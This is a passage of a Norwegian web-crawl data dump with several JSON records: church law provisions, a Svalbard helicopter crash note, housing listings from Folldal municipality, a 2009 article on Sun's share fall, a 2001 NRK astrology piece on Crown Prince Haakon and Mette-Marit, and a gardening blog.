1. og 2. ledd gjelder ikke dersom noe annet f\u00f8lger av testamentariske eller andre s\u00e6rlige bestemmelser. Samtykke etter 1. og 2. ledd gis av den Kirkem\u00f8tet har gitt slik myndighet. 13 Betaling for bruk av kirken m.v. For benyttelse av kirken til gudstjeneste eller annen oppbyggelse tas det ikke betaling. Det samme gjelder kirkelige handlinger som utf\u00f8res i forbindelse med en gudstjeneste. For benyttelse av kirken til andre form\u00e5l kan menighetenes fellesr\u00e5d / prostir\u00e5det kreve betaling etter n\u00e6rmere regler som er godkjent av den Kirkem\u00f8tet har gitt slik myndighet. Kirkem\u00f8tet gir n\u00e6rmere bestemmelser om bruk av kirkene. 14 Oppf\u00f8ring av ny kirke m.v. Ny kirke skal bygges n\u00e5r en kirke er tilintetgjort eller p\u00e5 grunn av vesentlige mangler er ubrukbar og ikke kan utbedres, n\u00e5r den under vanlige gudstjenester ikke gir tilstrekkelig plass for de kirkes\u00f8kende og ikke hensiktsmessig kan utvides, eller n\u00e5r det dannes et nytt sokn der det fra f\u00f8r ikke er kirke. Ny kirke skal i kirkerommet ha sitteplass til en tidel av Den norske kirkes medlemmer i soknet. Det kreves likevel minst 200 og ikke mer enn 500 sitteplasser. N\u00e5r s\u00e6rlige grunner tilsier det, kan det gj\u00f8res unntak fra reglene i 1. og 2. ledd. Oppf\u00f8ring, ombygging, utvidelse og nedleggelse av kirke skal godkjennes. Det samme gjelder tomt til oppf\u00f8ring av kirke, tegninger, kostnadsoverslag og finansieringsplan. I spredtbygd omr\u00e5de er bebyggelse ikke tillatt n\u00e6rmere kirke enn 60 meter uten tillatelse. Unntak etter 3. ledd, godkjenning etter 4. ledd og tillatelse etter 5. ledd gis av den Kirkem\u00f8tet har gitt slik myndighet. Kapittel 4. Forskjellige bestemmelser 15 Tjenesteordning Kirkem\u00f8tet fastsetter tjenesteordning og gir n\u00e6rmere regler om vilk\u00e5r m.v. for prester, proster og biskoper. 16 Tjenestebolig og boplikt Kongen kan p\u00e5legge en kommune \u00e5 stille tjenestebolig til r\u00e5dighet for prest, prost og biskop. Staten dekker i tilfelle kommunens utgifter etter regler fastsatt av Kongen. Tilsettingsmyndigheten kan p\u00e5legge boplikt i tjenestebolig. 17 Medbestemmelse og tariffavtale I tilknytning til valgte organer som ut\u00f8ver arbeidsgiveransvar p\u00e5 vegne av soknet eller Den norske kirke skal det opprettes et partssammensatt utvalg for behandling av saker som gjelder forholdet mellom de tilsatte og soknene/den norske kirke eller soknet/den norske kirke som arbeidsgiver, med mindre partene avtaler at slike saker skal behandles p\u00e5 annen m\u00e5te. Utvalget sammensettes av representanter for r\u00e5det og representanter valgt av og blant de tilsatte. Flertallet i utvalget skal best\u00e5 av representanter for r\u00e5det. R\u00e5det velger utvalgets leder og nestleder blant disse. 14\n\n\n\n", "language": "no", "__index_level_0__": "86a939d0-a6d9-446b-ba00-fd04fa50dd71"}
{"url": "https://www.nrk.no/troms/havarikommisjonen-pa-svalbard-1.13756796", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-25T00:06:47Z", "text": "30\\. oktober 2017 kl. 15:16\n\n## Havarikommisjonen p\u00e5 Svalbard\n\nRepresentanter fra den russiske havarikommisjonen inng\u00e5r i den norske havarikommisjonen som n\u00e5 jobber med helikopterulykka p\u00e5 Svalbard. I dag har de samlet inn lydlogger, bildemateriale, v\u00e6rinformasjon - og snakket med folk som hadde med flygninga \u00e5 gj\u00f8re. Alt for \u00e5 danne seg et bilde av hva som skjedde da det russiske helikoptret havarerte torsdag ettermiddag, forteller avdelingsdirekt\u00f8r K\u00e5re Halvorsen i Havarikommisjonen.\n\n", "language": "no", "__index_level_0__": "594783ba-8424-4c41-8201-494a30f2153a"}
{"url": "https://www.bestselgerklubben.no/_skjonnlitteratur/noveller-lyrikk-og-drama/tu-fu-9788253039299", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:31:04Z", "text": "##### Omtale Tu Fu\n\n Kinesiske Tu Fus dikt er her gjendiktet av Georg Johannesen. I denne oversettelsen er noen av diktene forkortet eller forlenget med strofer fra andre dikt. Diktene er presentert over emner som vennskap, h\u00f8st, alderdom, krig, fred og mangel p\u00e5 f\u00f8lelser.  \n  \n", "language": "no", "__index_level_0__": "dc87f895-1328-461c-8252-10029118f27c"}
{"url": "http://www.teknisksalg.no/kjemi/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:25:00Z", "text": "# Kjemi\n\n\n\nHos oss f\u00e5r du et bredt spekter av kjemi til mange form\u00e5l. V\u00e5re kjemiprodukter er effektive og holder en h\u00f8y standard. Med fokus p\u00e5 produktutvikling er v\u00e5re produsenter blant de fremste. Vi tilbyr nedbrytbare v\u00e6sker som er snille mot naturen, sk\u00e5nsomme mot deg, men effektive til jobben den skal gj\u00f8re.\n\n", "language": "no", "__index_level_0__": "614639f9-8904-4bea-bfad-28d002848bdf"}
{"url": "http://www.folldal.kommune.no/4815.3257.Boligutleie-og-salg.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:45:18Z", "text": "# Boligutleie- og salg\n\nFolldal kommune \u00f8nsker p\u00e5 disse sidene \u00e5 gi en oversikt over ledige hus, leiligheter og n\u00e6ringseiendommer. Det kan v\u00e6re b\u00e5de kommunale og private. Send gjerne en melding til servicekontoret om du vil annonsere et husrom/eiendom.\n\n\u00a0\nTa ogs\u00e5 en titt p\u00e5 sidene til Finn.no\u00a0for ledige hus og fritidseiendommer, eller n\u00e6ringseiendommer/gardsbruk\n\n\u00a0\n\n\n\u00a0\n**Til salgs/utleie i Folldal:**\u00a0\n\n*(selger/utleier er selv ansvarlig for innhold i annonsen, og melde fra om annonsen skal slettes)*\n\n**\u00a0\n\n**Rogstad & Odden** \u00a0med tilhold p\u00e5 Industriomr\u00e5det, har lokaler for utleie.\n\n0-300 m2 med produksjonslokaler og 60-70 m2 med kontorlokaler leies ut og kan innredes etter \u00f8nsker fra eventuelle leietagere.\n\nVi vil v\u00e6re meget im\u00f8tekommende p\u00e5 pris og fleksibilitet for grundere i en oppstartsfase og ogs\u00e5 for etablerere som \u00f8nsker \u00e5 flytte til Folldal.\n\nKontakt Lars Henrik Odden, 90668138\n\n\u00a0\n\n**Leiligheter til utleie** hos Stiftelsen Folldal Gruver  \nKontakt SFG for mer info, tlf 62490505\n\n\u00a0\n\n**Kontorlokaler til leie  \n**Folldal kommune har ledige lokaler i Dalen skule p\u00e5 Dalholen. Lokalene er tidligere brukt til skole / barnehage, men leies n\u00e5 ut som kontorer i et kontorfellesskap.  \nInteresserte bes kontakte Enhetsleder TLU Ole H\u00e5kon Flat\u00f8y tlf 91717785\u00a0for n\u00e6rmere opplysninger.\n\n# Kontaktinfo bolig og eiendom\n\n", "language": "no", "__index_level_0__": "37b6462b-2385-4788-91c1-5605bd0e9f3a"}
{"url": "https://www.digi.no/artikler/sun-aksjen-raste-bare-23-prosent/280349", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:36:45Z", "text": "\n\n# Sun-aksjen raste bare 23 prosent\n\nIngen ny bevegelse mellom Sun og IBM, men markedet mener det stadig er h\u00e5p.\n\n  - Eirik Rossen\n  - Resultaterfinans\n  - 7\\. april 2009 - 08:41\n\nIngen av finansmediene med gode kontakter i IBM og Sun kunne i g\u00e5r melde om noen som helst bevegelse i oppkj\u00f8pssamtalene. Situasjonen er fortsatt den at Sun har avvist et konkret tilbud fra IBM, verdt mellom 9,10 dollar og 9,40 dollar per aksje, og at IBM har reagert p\u00e5 samme m\u00e5te som Microsoft overfor Yahoo, ved \u00e5 trekke hele tilbudet. Telefonkontakten mellom partene, som ble nevnt s\u00f8ndag, snakkes det ikke lenger om.\n\n**Da b\u00f8rsen stengte fredag, l\u00e5 Sun-aksjen i 8,49 dollar. I g\u00e5r \u00e5pnet den i 6,45 dollar, og avsluttet b\u00f8rsdagen i 6,56 dollar. Det er en samlet nedgang p\u00e5 23 prosent. Ingen rykte meldte seg for \u00e5 forstyrre kursen. At aksjekursen fortsatt holder seg godt over niv\u00e5et mellom 4 og 5 dollar som den l\u00e5 p\u00e5 f\u00f8r samtalene med IBM ble kjent, tolkes som et tegn p\u00e5 at markedet tror det stadig er h\u00e5p**.\n\nDet het i g\u00e5r at Suns styret var splittet i synet p\u00e5 IBMs tilbud: Toppsjef Jonathan Schwartz ville godta det, mens gr\u00fcnder, styreformann og tidligere toppsjef Scott McNealy fikk flertallet med seg for \u00e5 avvise det. Dette er ikke offisielt bekreftet \u2013 verken Sun eller IBM har kommentert noe av det som er meldt i finansmediene \u2013 men det er ikke dukket opp noe som skulle tyde p\u00e5 at det ikke stemmer.\n\nObservat\u00f8rer mener stillingen til Schwartz m\u00e5 v\u00e6re betydelig svekket, og at han kan bli avsatt dersom samtalene med IBM ikke gjenopplives. Noen mener det kan \u00e5pne for en gjeninnsettelse av McNealy, mens andre mener det er \u00ablatterlig\u00bb \u00e5 spekulere i noe slikt.\n\n\n\nI en erkl\u00e6ring fra Sun i g\u00e5r, som er sitert i flere medier men ikke publisert p\u00e5 Suns nettsted, heter det at selskapet \u00abst\u00e5r ved sin ledelse, sin vekststrategi og sine forpliktelser overfor aksjon\u00e6rene.\u00bb\n\nDe store aksjon\u00e6rene i Sun forblir tause: *Wall Street Journal* har forgjeves fors\u00f8kt \u00e5 innhente kommentarer fra den aller st\u00f8rste, Southeastern Asset Management som eier 22 prosent av Sun, og fra Kohlberg Kravis Roberts som har en andel i underkant av 8 prosent.\n\nAnalytikerne tror ikke IBM vil h\u00f8yne budet. De tror Sun n\u00e5 har spilt seg selv over sidelinjen, og er i en sv\u00e6rt vanskelig situasjon. De er f\u00f8rst og fremst et maskinvareselskap, men det de mulige oppkj\u00f8pskandidatene er interessert i \u2013 utenom IBM nevnes HP, Dell og Cisco \u2013 er f\u00f8rst og fremst programvaren. F\u00f8r samtalene ble innledet med IBM, skal Sun ha blitt avvist av alle de tok kontakt med for \u00e5 dr\u00f8fte et mulig salg. Det pekes ogs\u00e5 p\u00e5 at IBM p\u00e5 sin side er langt mindre avhengig av \u00e5 f\u00e5 til noe med Sun, enn for eksempel Microsoft er avhengig av \u00e5 f\u00e5 til noe med Yahoo.\n\nIf\u00f8lge *Financial Times* er den nest mest sannsynlige muligheten for \u00e5 f\u00e5 til et salg, \u00e5 henvende seg igjen til HP. Avisas kilder sier HP kan ikke utelukkes, men at det vil utelukkende v\u00e6re et sp\u00f8rsm\u00e5l om pris. Den vil antakelig bli lavere enn det IBM kunne tenke seg: HP er minst like lite opptatt av \u00e5 skaffe seg mer maskinvare som IBM, og har dessuten fortsatt ford\u00f8yelsesbesv\u00e6r etter overtakelsen av EDS, p\u00e5 13,9 milliarder dollar, det dobbelte av det IBM var villig til \u00e5 betale for Sun.\n\n**Imens melder Sun at de har f\u00e5tt en enorm kontrakt med USAs helse departement**: Deres friprogteknologi skal bli legges til grunn for president Barack Obamas sikre intranett innen helsesektoren, med blant annet overgang til elektroniske pasient journaler og andre digitale arkiver. Sun skal bidra med applikasjonsplattformen Glassfish, SOA-plattformen Java Composite Applilcation Platform Suite, og ID-plattformen Java Identity Management Suite. Intranettet skal v\u00e6re i drift, med utveksling av f\u00f8lsom informasjon, innen seks m\u00e5neder. De f\u00f8rste tilkoplede blir fire institusjoner fra det offentlige, og 16 fra privat sektor.\n\n", "language": "no", "__index_level_0__": "91cd0e41-a1cc-45a4-b2ba-fb79d33a0cd2"}
{"url": "http://www.nrk.no/artikkel/horoskopet-til-haakon-og-mette-marit-1.6408486", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:34:18Z", "text": "  Publisert  13.07.2001, kl. 09.22 \n\n  Publisert  13.07.2001, kl. 09.22 \n## Uortodoks 73-\u00e5rgang\n\nKanskje m\u00e5 det astrologer til, for \u00e5 kunne forutse at av 73-\u00e5rgangen kan vi vente oss det uventede, det uortodokse, det sjokkerende. De har nemlig Jupiter i Vannmannen, de er f\u00f8dte rebeller, som nettopp potenserer seg ved \u00e5 gj\u00f8re revolt. S\u00e5 hvorfor ikke kronprinsen, som jo skal v\u00e6re det fremste symbol for sin generasjon?\n\n## Uvanlig kj\u00e6rlighetsforbindelse\n\n\n\nAstrologisk kart av kronprins Haakon\n\nMen kronprinsen har en ustabil Jupiter og et blokkert forhold til b\u00e5de Uranus, i tolvte hus, og til det ellevte hus, der Pluto st\u00e5r. Jupiter er bare forbundet til Neptun med en sekstil, og han trenger derfor en person - og han valgte en kvinne, med lykkeplaneten bedre fundamentert, for \u00e5 kunne initiere og virkeliggj\u00f8re sitt Jupiter-potensiale.\n\nMette-Marits Jupiter har aspekter b\u00e5de til Venus-Pluto, Merkur, Neptun og Mars. Gjennom en uvanlig kj\u00e6rlighetsforbindelse f\u00f8ler v\u00e5r kommende kronprinsesse at hun n\u00e5r sitt potensiale og utvider sine grenser. Forbindelsen til landets neste monark er s\u00e5ledes antagelig sv\u00e6rt passende for henne.\n\n\n\nAstrologisk kart av Mette Marit\n\n## L\u00f8vedronning\n\nOgs\u00e5 tanken p\u00e5 \u00e5 v\u00e6re dronning passer Mette-Marit som L\u00f8ve perfekt. Og den passer bedre jo mer alene en L\u00f8vesol st\u00e5r, samtidig som den da kan v\u00e6re desto vanskeligere \u00e5 gjennomf\u00f8re, dersom andre faktorer i kartet ikke st\u00f8tter opp om den.\n\nMette-Marits Sol er av det ganske ensomme slaget, den er eventuelt forbundet med et trigon til M\u00e5nen i V\u00e6ren/Tyren. (Da vi ikke kjenner hennes f\u00f8dselstidspunkt vet vi ikke om M\u00e5nen st\u00e5r i V\u00e6r eller Tyr). Merkur befinner seg i L\u00f8ven, i opposisjon til Jupiter, og hun har da kanskje tre personlige planeter i ild, noe som vil tilsi at hun vil trives med \u00e5 v\u00e6re en offentlig person som lever p\u00e5 en stor fot.\n\n## Vil v\u00e6re synlig\n\nSamtidig vil en L\u00f8ve finne en moderne dronningrolle begrensende og med lite spillerom til \u00e5 v\u00e6re seg selv, det siste er av avgj\u00f8rende betydning for en L\u00f8ves ve og vel. En L\u00f8ve m\u00e5 skape noe, og den m\u00e5 vise fram det den skaper. L\u00f8ven vil ikke brenne inne med seg selv og sine anliggender, da har den det sv\u00e6rt d\u00e5rlig.\n\nOm ikke Mette-Marit allerede har funnet det ut, vil hun nok komme til \u00e5 gj\u00f8re det, at omtrent det eneste som passer L\u00f8ven i den posisjonen hun er kommet i, er det at hun f\u00e5r lov til \u00e5 v\u00e6re synlig, og i lengden er ikke det nok. Ikke for en L\u00f8ve. \u00c5 v\u00e6re kongelig krever takt, og det er ikke en L\u00f8ves sterkeste side, takt kan hennes Venus (Jomfru/Vekt) og Mars i Tyren, evt. M\u00e5ne i Tyren hjelpe henne med \u00e5 vise.\n\n## Kronprinsens \u00f8nskekvinner\n\nOg hva slags kvinne er det kronprinsen \u00f8nsker seg og hvordan matcher Mette-Marit hans arketypiske idealkvinne?\n\nDet viser seg at kronprinsen er mer enn uenig med seg selv n\u00e5r det gjelder partnervalg.\n\nM\u00e5nen i Fiskene \u00f8nsker seg en sv\u00e6rt sensitiv kvinne, en altruist som kan kunsten \u00e5 ofre seg, som er romantisk og dr\u00f8mmende og som tror godt om alt og alle, og vet hvordan man tar seg av og skaper et godt liv for de svake, de som er oversett og de som ingen vil ha. Det problematiske ved denne kvinnen er hennes inkonsistens.\n\nFor det ene er Fiskene et inkonsistent tegn, og for det andre har denne hans Fiskene-M\u00e5ne et kvadrat til Saturn og en opposisjon til Pluto. Dette forteller at kronprinsen har et ambivalent forhold til sin modne arketypiske kvinne; hun er skj\u00f8nn, men kanskje er hun utst\u00f8tt og m\u00e5 taes vare p\u00e5, hun er kanskje hjelpel\u00f8s, en stakkar, et skj\u00f8rt lite vesen, men samtidig er hun streng og kj\u00f8lig, og sl\u00e5r ham over fingrene n\u00e5r han forventer omfavnelse og aksept.\n\nHun skyver ham fra seg og gir ikke noen n\u00e6rende varme, men denne kj\u00f8lige kvinnen er ogs\u00e5 i stand til \u00e5 gi ham en f\u00f8lelse \u00e5 v\u00e6re slukt, spist opp. Hun tr\u00e5kker ham dessuten p\u00e5 de mest \u00f8mme t\u00e6r, finner det mest smertefulle punkt, som han f\u00f8ler at hun forst\u00f8rrer. Hun vil ha ham med hud og h\u00e5r, men er hun til \u00e5 stole p\u00e5? Kanskje ikke, og kanskje vil hun f\u00f8les skremmende, slik at han \u00f8nsker \u00e5 vende seg bort fra henne.\n\n## Den varme lekende\n\nN\u00e5r kronprinsen har valgt alenemoren fra Kristiansand, har han vendt seg til den yngre av sine to kvinnelige arketyper; den lekende Venus i L\u00f8vens tegn, konjunkt MC, det h\u00f8yeste punkt. Denne indre kvinne er ung, dramatisk, leken og vil forlyste seg p\u00e5 kongelig vis, med alle tilgjengelige goder. Det er en kvinne som liker det behagelige, og som er sjener\u00f8s, givende, lojal og trofast, og hun m\u00f8ter sin fysiske manifestasjon i Mette-Marit.\n\nHennes Sol og kronprinsens Venus st\u00e5r mindre enn to grader fra hverandre\\! I Mette-Marit ser kronprinsen en ung rojal kvinne, som har akkurat de kvaliteter hans dramatiske og lekende L\u00f8ve-Venus \u00f8nsker seg. Med Mette-Marit som dronning ved sin side kan kronprinsen godt tenke seg \u00e5 v\u00e6re konge.\n\n## Forelsket i rollene\n\nVenus i L\u00f8ven p\u00e5 MC i konjunksjon til hennes Sol forteller alt om dette. Disse plasseringene er forelsket i tanken p\u00e5 \u00e5 v\u00e6re konge og dronning sammen. Men da kronprinsens Venus er sparsomt aspektert, kun med en kvinkuns til M\u00e5nen, (noe som gj\u00f8r at hans indre kvinner ikke ser hverandre), og Mette-Marits Sol er tilsvarende l\u00f8st forbundet med resten av kartet, vil det \u00e5 v\u00e6re konge og dronning ikke falle dem helt naturlig, hvor sterkt de enn m\u00e5tte \u00f8nske det ut fra disse plasseringene.\n\nPosisjonene viser et kronprinspar som ikke helt kan forbinde seg med sine kongelige roller, og kronprinsen har da ogs\u00e5 uttalt at han ser p\u00e5 det \u00e5 v\u00e6re konge som en jobb. Og for parforholdets del holder det ikke \u00e5 v\u00e6re forelsket i tanken \u00e5 vise hverandre frem som konge og dronning, et forhold kan ikke overleve p\u00e5 dette. Selv om man aldri s\u00e5 mye antagelig er den kommende konge og dronning.\n\n## I utakt med folket\n\nav Plasseringene viser ogs\u00e5 at de vil kunne f\u00f8le seg styrt av de rojale rollene de inntar som par; rollene vil lett skape dem, ikke omvendt. Det kan ogs\u00e5 v\u00e6re at det kronprinsen og Mette-Marit oppfatter som sine royale roller, ikke harmonerer med folkets oppfattelse av disse.\n\nSom dronning vil Mette-Marit heller ikke alltid fylle sin posisjon med den autoritet og integritet som forventes av henne. Og hun vil knapt kunne v\u00e6re en st\u00f8tte for kronprinsen som kongelig, som han til enhver tid kan regne med, dersom dette er et behov hos ham.\n\n## Sterk og omsorgsfull Kronprins\n\nMen er det st\u00f8tte kronprinsen forventer seg av Mette-Marit n\u00e5 han skal tre inn i sin monark-rolle? Antagelig har han ikke tenkt over dette til fulle, for da hadde han kanskje valgt anderledes.\n\nDerimot er kronprinsen selv, med sin Krepse-Sol og Fiskene-M\u00e5ne, er en sv\u00e6rt omsorgsfull person med sterk innlevingsevne, og det vil antagelig passe ham utmerket \u00e5 st\u00f8tte Mette-Marit i hennes vaklende ego-identitet grunnet hennes ensomme L\u00f8ve-Sol.\n\nHennes Venus p\u00e5 grensen mellom Jomfru og Vekt viser at hun heller ikke er helt trygg p\u00e5 sin feminine tiltrekningskraft. Den st\u00e5r konjunkt Pluto og forteller at hun kan utsette seg for intense og lidenskapelige forhold, hvor partene ikke n\u00f8dvendigvis har annet til felles - enn lidenskap og berusende forelskelse.\n\nVenus-Pluto er dessuten i sekstil til Neptun, s\u00e5 selv om Mette-Marit enten er en t\u00f8ff, ganske maskulin ildkvinne, (Sol-M\u00e5ne i ild) eller en storsl\u00e5tt, men praktisk ild-jord kvinne (Sol-M\u00e5ne i ild og jord), s\u00e5 forvandler hun seg i kj\u00e6rlighetsanliggender til en pasjonert, intens, men dr\u00f8mmende romantiker.\n\nDisse aspektene til kj\u00e6lighetsplaneten i Mette-Marits kart forteller at hennes kj\u00e6rlighetsliv tar veier som ikke n\u00f8dvendigvis harmonerer med den personen hun innerst inne har planer om \u00e5 v\u00e6re. Men dette kj\u00e6rlighetsliv kan legitimeres n\u00e5r de m\u00f8ter en person, kronprinsen, som i sine f\u00f8lelser og sitt uttrykk er b\u00e6rer av disse intense og romantiske kvaliterer. Han hjelper henne med \u00e5 kunne leve ut dr\u00f8mmen og pasjonen som finnes i hennes kj\u00e6rlighet, han kan inkarnere den om man s\u00e5 skulle si.\n\n## F\u00f8lelser, handlekraft og stabilitet\n\nKronprinsens personlige planeter i vann og ild (Venus i L\u00f8ven og Mars i V\u00e6ren) gj\u00f8r ham til en person der f\u00f8lelser spiller en fremtredende rolle. Det kan ogs\u00e5 fortelle at hans og folkets forhold til hverandre er av f\u00f8lelsesmessig karakter, og at kronprinsens handlinger og uttalelser vekker f\u00f8lelsemessige reaksjoner i folket.\n\nVenus p\u00e5 MC viser eksplisitt denne innflytelsen p\u00e5 folket, positivt sett kan kronprinsen innta rollen som en kj\u00e6rlig bror, kamerat eller far for sine landsmenn.\n\nDenne betoningen av f\u00f8lelser har f\u00e5tt ham til \u00e5 st\u00e5 fast p\u00e5 at han ville velge en partner ut fra kj\u00e6rlighet, ikke ut fra andre, kanskje mer \"passende\" hensyn.\n\n## Uvanlig f\u00f8lsom og innlevende\n\nSol og M\u00e5ne viser en uvanlig f\u00f8lsom og innlevende ung mann, hvor altruisme kan v\u00e6re forbundet med det \u00e5 gi genuint uttrykk for seg selv. Mars i V\u00e6ren i sjette hus tegner en opposisjon til urolighetsplaneten Uranus i tolvte.\n\nDette aspektet, viser at kronprinsen har planer om \u00e5 v\u00e6re mer t\u00f8ff og oppr\u00f8rsk enn hans Sol-M\u00e5ne plasseringer skulle tilsi, og at han ut fra dette aspektet \u00f8nsker seg en ildkvinne, b\u00e5de til \u00e5 representere offentlig sammen med, i anstendige fomer (Venus i L\u00f8ven p\u00e5 MC) og til mer skjulte og private eksesser skjult for offentligheten (Mars i V\u00e6ren opposison Uranus i Vekten).\n\nMens kronprinsen har b\u00e5de Sol, M\u00e5ne og Ascendant i vann, er det kun Saturn i Mette-Marits kart som befinner seg i dette elementet, og dette gj\u00f8r vannelementet fremmed og problematisk for henne.\n\n## Utfyller hverandre\n\nMette-Marit mangler vann, og kronprinsen mangler jord; et element som er tilstede i Mette-Marits kart. Hennes Mars er i Tyren, kanskje Venus st\u00e5r i Jomfruen og ogs\u00e5 M\u00e5nen i Tyren, og dette siste tegnet er kronprinsens descendanttegn.\n\nDet litt kinkige for kronprinsen er at dette tegnet st\u00e5r i et element som ingen av hans planeter er plassert i. Dette viser at han bla \u00f8nsker seg sensualitet og stabilitet av sin partner, og i den grad han f\u00f8ler at Mette-Marit gir ham dette, vil han kunne gj\u00f8re seg sterkt avhengig av henne, nettopp fordi han selv mangler det han har behov for.\n\n## Valget\n\nMan kunne forvente at kronprinsen valgte en kvinne med vannelementet sterkere representert enn i Mette-Marits kart. Men dette elementet har indirekte innflytelse i horoskopet hennes; Venus har forbindelser til vannplanetene Pluto og Neptun, med en konjunksjon og en sekstil.\n\nDerfor kan vi si at kronprinsens vanndominans har oppf\u00f8rt som vann ofte gj\u00f8r; den har g\u00e5tt via bakveien og forkledningen, n\u00e5r han velger Mette-Marit, som har dette elementet indirekte representert. De ytre planeters posisjoner i \u00f8yeblikket, og transitter til kronprinsens Venus og akser, gir oss ogs\u00e5 en indikasjon p\u00e5 hvorfor han ikke velger en vannkvinne; verken Pluto, Neptun, Uranus eller Saturn st\u00e5r for tiden i vanntegn.\n\n## M\u00e5 leve med forskjellen\n\nElementdivergensen mellom kronprinsen og Mette-Marit utgj\u00f8r en problematikk de vil m\u00e5tte forholde seg til. Velger man en partner som mangler det elementet man selv har godt representert, inneb\u00e6rer det en forskellighet i temperament og v\u00e6rem\u00e5te som ofte vekker irritasjon og m\u00e5 justeres. Som mennesketyper har man heller ikke det vesentlige felles for \u00e5 omg\u00e5s friksjonsl\u00f8st i det daglige liv.\n\nOgs\u00e5 Sol-M\u00e5ne-forbindelsene i synastrien peker i retning av at de er forskjellige som mennesketyper; i h\u00f8yden er det et kvadratur mellom kronprinsens Sol og Mette-Marits M\u00e5ne, og selv om dette indikerer ber\u00f8ringspunkter mellom kronprinsens maskulinitet og Mette-Marits femininitet, vil det kunne f\u00f8re til gnisninger mellom dem.\n\nMette-Marits l\u00f8st forbundne Sol vil ha en tendens til \u00e5 velge en partner hvor hennes frihet ikke f\u00f8les truet, som person hun vil vegre seg mot \u00e5 binde seg for tett. Kronprinsen derimot, med sin Krepsesol vil f\u00f8le at det gj\u00f8r ham godt \u00e5 v\u00e6re avhengig av et menneske som st\u00e5r ham f\u00f8lelsesmessig n\u00e6r.\n\nVenus i L\u00f8ven f\u00f8lger sin egen vilje, det samme gj\u00f8r Mars i V\u00e6ren i opposisjon til Uranus; han liker derfor slett ikke \u00e5 v\u00e6re bundet i sitt kj\u00e6rlighetsliv. Mette-Marit med sin Venus-Neptun-Pluto forbindelse vil i sitt kj\u00e6rlighetsliv etterstrebe en symbiose som er hennes \u00f8vrige personlighet fremmed.\n\nDe s\u00f8ker alts\u00e5 frihet og tilh\u00f8righet p\u00e5 ulike livsomr\u00e5der, og Mette-Marit er den som mest kan havne i parallell-forhold, ved siden av hverandre, nesten som i hver sin verden.\n\n## Sammenfallende typer\n\nSom kj\u00e6rlighetstyper ser det ut til at de fungerer bedre enn som mennesketyper. Vi har v\u00e6rt inne p\u00e5 at kronprinsens Venus \u00f8nsker seg en L\u00f8vekvinne, ogs\u00e5 Marsplassringen i V\u00e6ren tilsier en ildkvinne.\n\nMette-Marits Venus-forbindelser til Pluto og Neptun, gj\u00f8r at en mann med Sol eller M\u00e5ne i vann kan passe som partner, selv om ild (L\u00f8vesolen) eller jord (Tyremarsen) ideelt sett hadde v\u00e6rt bedre eller enklere for henne. Mette-Marits Mars, eventuelt hennes M\u00e5ne, befinner seg p\u00e5 Haakons Descendant, som i synastriens ABC er en forutsetning for tiltrekning og varighet i et forhold.\n\nDersom Mette-Marits ascendantplassering gir kronprinsens Sol eller M\u00e5ne, evt Venus, i hennes f\u00f8rste eller syvende hus, vil dette v\u00e6re et stort pluss for \u00e5 gi den \"riktige f\u00f8lelsen\" av \u00e5 v\u00e6re de rette partnere for hverandre.\n\n## Trenger hverandre\n\nFelles i kartene er at kj\u00e6rlighetsplanetene ikke harmonerer med Sol-M\u00e5ne plasseringene, og at de begge velger en partner hvor disse planetene matcher den andres Sol og/eller M\u00e5ne.\n\nMette-Marit og Haakon kan s\u00e5ledes f\u00f8le at de trenger hverandre, og ikke minst f\u00f8ler kronprinsen at han trenger hjelp av Mette-Marits Jupiter for \u00e5 n\u00e5 utover seg selv, (noe han som kongelig virkelig beh\u00f8ver), gjennom revolt, (som er upassende i hans stilling), slik vi innledningsvis var inne p\u00e5.\n\nFor\u00f8vrig er Mette-Marits Uranus nesten fristilt; hun har sine raptuser med oppr\u00f8rskhet og anti-ortodoksi. Med den sparsomt aspekterete L\u00f8vesol og den fristilte Uranus, vil Norges fremtidige dronning med tiden ha to i seg til \u00e5 v\u00e6re intenst seg selv, - men kanskje p\u00e5 en helt anderledes - og ustabil - m\u00e5te enn hva sindige nordmenn tenker seg.\n\n  Publisert  13.07.2001, kl. 09.22 \n\n### Mette-Marit\n\n## Folket gratulerer Mette Marit\n\n\n\n", "language": "no", "__index_level_0__": "07df3b7a-9ddc-4692-8aed-c732bb830357"}
{"url": "http://villvoks.blogspot.com/2015_05_01_archive.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:45:06Z", "text": " \n\n## s\u00f8ndag 17. mai 2015\n\n### Blomstrer (eller nesten) 16. og 17. mai 2015\n\n\n\nBzzz bzzz bzzz. Humlene er ikke mange om dagen, men det er ikke lenger bare s\u00e5nne digre \u2013 og de som er her, er veldig aktive.  \n  \n\n\n\nGul primula, men ikke den der amok-gule. Denne her er fint lysegul, og kan t\u00e5les selv i min hage.  \n  \n\n\n\nSommerfugl \u2013ikke mange av disse heller, men det stikker en og annen innom.  \n  \n\n\n\nFritillariaen er nydelig flott for tiden.  \n  \n\n\n\nPrimula \"Ole Spesial\" i knopp. Den er bare \u00fcberkul.  \n  \n\n\n\nDenne rosenroten str\u00e5ler fremdeles.  \n  \n\n\n\nSommerfuglen p\u00e5 en annen primula. :)  \n  \n\n\n\nHva er det n\u00e5 denne primulaen heter?\u00a0  \n  \n\n\n\nHva er disse her?  \n  \n\n\n\nEller denne karen her? Party-hvitveis. (Fylt hvitveis, tror jeg det blir, ut fra hvor den st\u00e5r hen.)  \n  \n\n\n\nDenne blir nydelig n\u00e5r den kommer ut.  \n  \n\n\n\nVilltulipan \u2013 tulipa tarda.  \n  \n\n\n\nHvitveis med sikade p\u00e5.  \n  \n\n\n\nDenne akeleien er som vanlig f\u00f8rst ute. Var det den som var en altai-akeleie? Den 